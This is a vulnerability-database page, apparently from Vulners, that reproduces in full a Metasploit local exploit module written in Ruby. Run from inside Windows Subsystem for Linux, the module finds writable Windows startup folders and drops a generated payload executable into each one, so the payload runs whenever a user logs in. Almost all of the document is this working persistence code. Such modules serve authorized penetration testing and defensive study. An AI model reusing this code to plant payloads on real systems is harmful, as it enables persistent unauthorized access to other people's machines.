Lucene search
K

Linux WSL via Startup Folder Persistence

🗓️ 24 Feb 2026 18:57:51Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 240 Views

Establishes Windows startup folder persistence from WSL to execute payload at user login.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  include Msf::Post::Linux::Wsl
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux WSL via Startup Folder Persistence',
        'Description' => %q{
          This module establishes persistence by creating a payload in the windows startup folder from within
          the Windows Subsystem for Linux (WSL) environment. This allows for code execution on Windows user login.

          Verified on Windows 10 with Ubuntu 24.04 WSL distribution.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'h00die' ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
        ],
        'DisclosureDate' => '2016-08-02', # WSL release date
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
        OptEnum.new('CONTEXT', [false, 'Target each User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ]),
        OptString.new('USER', [false, 'The user to target, or ALL for all users.', 'ALL'], conditions: ['CONTEXT', '==', 'USER'])
      ]
    )
  end

  def exploitable_folders
    can_do = []
    if datastore['CONTEXT'] == 'USER'
      root = '/mnt/c/Users'
      tail = '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup'
      user_folders = dir(root)
      user_folders.each do |f|
        next if f =~ /Public$/i
        next if f =~ /Default$/i
        next if f =~ /Default User$/i
        next if f =~ /All Users$/i
        next if f =~ /desktop.ini$/i
        next unless (f.upcase == datastore['USER'].upcase) || (datastore['USER'] == 'ALL')

        folder = File.join(root, f, tail)
        can_do << folder if directory?(folder) && writable?(folder)
      end
      return can_do
    end
    root = '/mnt/c/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup'
    can_do << root if directory?(root) && writable?(root)
    can_do
  end

  def check
    begin
      return CheckCode::Safe('Target is not WSL') unless wsl?
    rescue RuntimeError => e # [-] Exploit failed: RuntimeError Failed to run uname -r
      return CheckCode::Safe(e.message)
    end

    vprint_good('Inside WSL environment')

    return CheckCode::Safe('No writable startup folders found') if exploitable_folders.empty?

    CheckCode::Appears('Likely exploitable')
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
    payload_exe = generate_payload_exe
    exploitable_folders.each do |folder|
      f = File.join(folder, payload_name)
      write_file(f, payload_exe)
      vprint_good("Writing payload to #{f}")
      windows_path = f.sub(%r{^/mnt/([a-z])}) { "#{::Regexp.last_match(1).upcase}:" }.gsub('/', '\\')
      @clean_up_rc << "rm \"#{windows_path}\"\n"
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jun 2026 19:01Current
6.2Medium risk
Vulners AI Score6.2
240